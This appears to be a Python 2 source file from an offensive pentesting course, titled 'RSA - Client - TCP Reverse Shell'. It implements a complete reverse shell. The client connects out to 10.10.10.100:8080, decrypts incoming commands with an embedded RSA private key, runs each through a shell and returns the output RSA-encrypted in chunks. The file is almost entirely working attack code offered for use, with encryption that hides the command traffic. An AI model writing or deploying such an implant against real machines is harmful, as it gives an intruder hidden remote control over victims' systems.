# Python For Offensive PenTest

# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto

# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"

# RSA - Client - TCP Reverse Shell

import socket                    
import subprocess                 

from Crypto.PublicKey import RSA

def encrypt(message):
    #Remember that here we define the server's public key
    publickey ='''-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAlkZ3S9jWwHcnBo5bVtL3
rr/pI0rsQQ+68uMgkxUy/79tLGoYK1V6QikMwdtMub3etya8/FfnbhMjkq5qwkfI
99C5lj+33uWf1VpOJ9zKWUbRzTAAikVsaP998jvIbRBIm5UK24+oAl6Y3D8/m/0z
I56udJUZlO5IRcdE1AmSCCzktF6gWD/o7RK3RBhG6VJXu9orf+ghdihR1zRsK7nR
RfoJDBqoOj+0JoHJEYPD4aMT1XGf2cVLwuQGakTH67GcTq5Y+/7oEsh1kJFThm7M
C+tg+R2352azYgZ2qNiuasGtFHnd4ikNRzYZm7CeOBCQ8/8YwPMZTolTkHe2Uuko
PK8SSj6D/Lg5Q+gqiDy1FvMWvAER2rxQYkRlTomkLvUU1iVVCmg3VViF8WGGgVoo
0AhxmsbJ4HM2NsAYZq+cfseVRNLL1MHHPENb9fO++bDJREoLBvme5Zxreq9JQ8p6
TlUNk4NVIQ8/Kq0G+Ja6G/mLakmTld0a+RTtGy9gIwDdcFLrbOeNbUyb0vkyK4OS
wUKb0OcurPoF7AGYs/E2zeWIxRDFXPaQ6JbUoih8kzhjen8sq0LN03oHLFy/2csH
jyZi0/2lVn1GRFrucHrdLdba+ZcCJ9B+JAw2aLOsnzGFPidLefkOTIRFFz/g5kVY
cmShcbYGnjhH3oM1khkomVkCAwEAAQ==
-----END PUBLIC KEY-----'''



    encryptor = RSA.importKey(publickey)
    global encriptedData
    encriptedData=encryptor.encrypt(message, 0)
    return encriptedData[0]

def decrypt(cipher):
    #Remember that here we define our (the target's) private key
    privatekey = '''-----BEGIN RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEAms5mJkSBV9C4iPlyxugDWyaryfJE/e4Z2AvgY9YsNWZasTPQ
9gCVoGrfd3I9Efmd2wHJVnBxjL0aenjFV1fa9hHINMOO0JRQo+2umyg+QMd+Edgl
A9MWaXUgNb8ADa+zKCT+0VbF92iAlAmAFii6aY4jkVKSUBVGkmn94WNIYSVzHNSr
5JcaPEthRpAAJE2lwjA4OIqpKUDnK/0rzlNlQkSlBbN7ztEtfzjzI3dJo+i/VsOa
S8LHfsk3nKX2GU95AM3LhpF2cMRgIJJCSU2sB6Hq+TiZFh9bWyceRPjvzJh3LZ2F
JUh99kJ28ykIph9XjGMgXZVFmPOFYM7zFKYNTPgZbO5RCj1LJVJqGlXThJ8PA+7r
WwquDgTPMkiH4wP59K2Dz122FYoBDZ8KgP6HXzcG18q5o/KxONO0whnOSFJQm2Xn
nbtM8g2DM+x6sYTWf+v75bMAdfNuzBeFNIxA3FGpzaad+Dv1VNtDW6za5w+tpUjT
nUrHyYGsPMo3+hXknhvFL9cmAktlYR+l3qXxxRK1/zgPexfBTpu7i1qUZilEq5pe
j/3s0mTtmP7l1MMFU4e7xiBPTzX9QYtvruI5pDbgT8tFmwhi64wm0mkagNiGDnV1
vlHQs6s2rP6lbpvnL7GDOhgwgj1OGV3c13n3Va82hzcUKsKRb4XKLUvTSaECAwEA
AQKCAgBeAo/IF3wQzyDxlcLdBhLbrO1QMz8wkgLBz9yR5INuXl0fFZ+FdS9oft58
VDTAEL2LPVd+lcRvOnu0+lilRSYknwHdARFem2MpWfLaKKM9haiKv58i5nLK0iUg
XoByz0tWSrkweai5KY5D2E0fp9Ykufvhiapu1azIx3M1B6zxyeNRE9nbdOOq0AAf
8N0VLs5F0jCiLZqzAcYhUZrjroNkrfklMC00mJUvmG8XD5752iMwVpMCBSRPW3TZ
PXPpRPjvwwohC39I1gimXwvAJlodPHhMptFY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qdm9rXw5JmEC59ENz4
-----END RSA PRIVATE KEY-----'''
    
    decryptor = RSA.importKey(privatekey)
    dec = decryptor.decrypt(cipher)   
    return dec


def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        
    s.connect(('10.10.10.100', 8080))                            
 
    while True:
        
        command =  decrypt(s.recv(512))
        print ' We received: ' +  command
        
        if 'terminate' in command:                 
            s.close()
            break 
        
        else:                                                 
            CMD =  subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            result = CMD.stdout.read()
            if len(result)>512:
                for i in range(0, len(result), 512):
                    chunk = result[0+i:512+i]
                    s.send( encrypt (chunk ) )

            else:
                s.send( encrypt (result ) )
                

def main ():
    connect()
main()











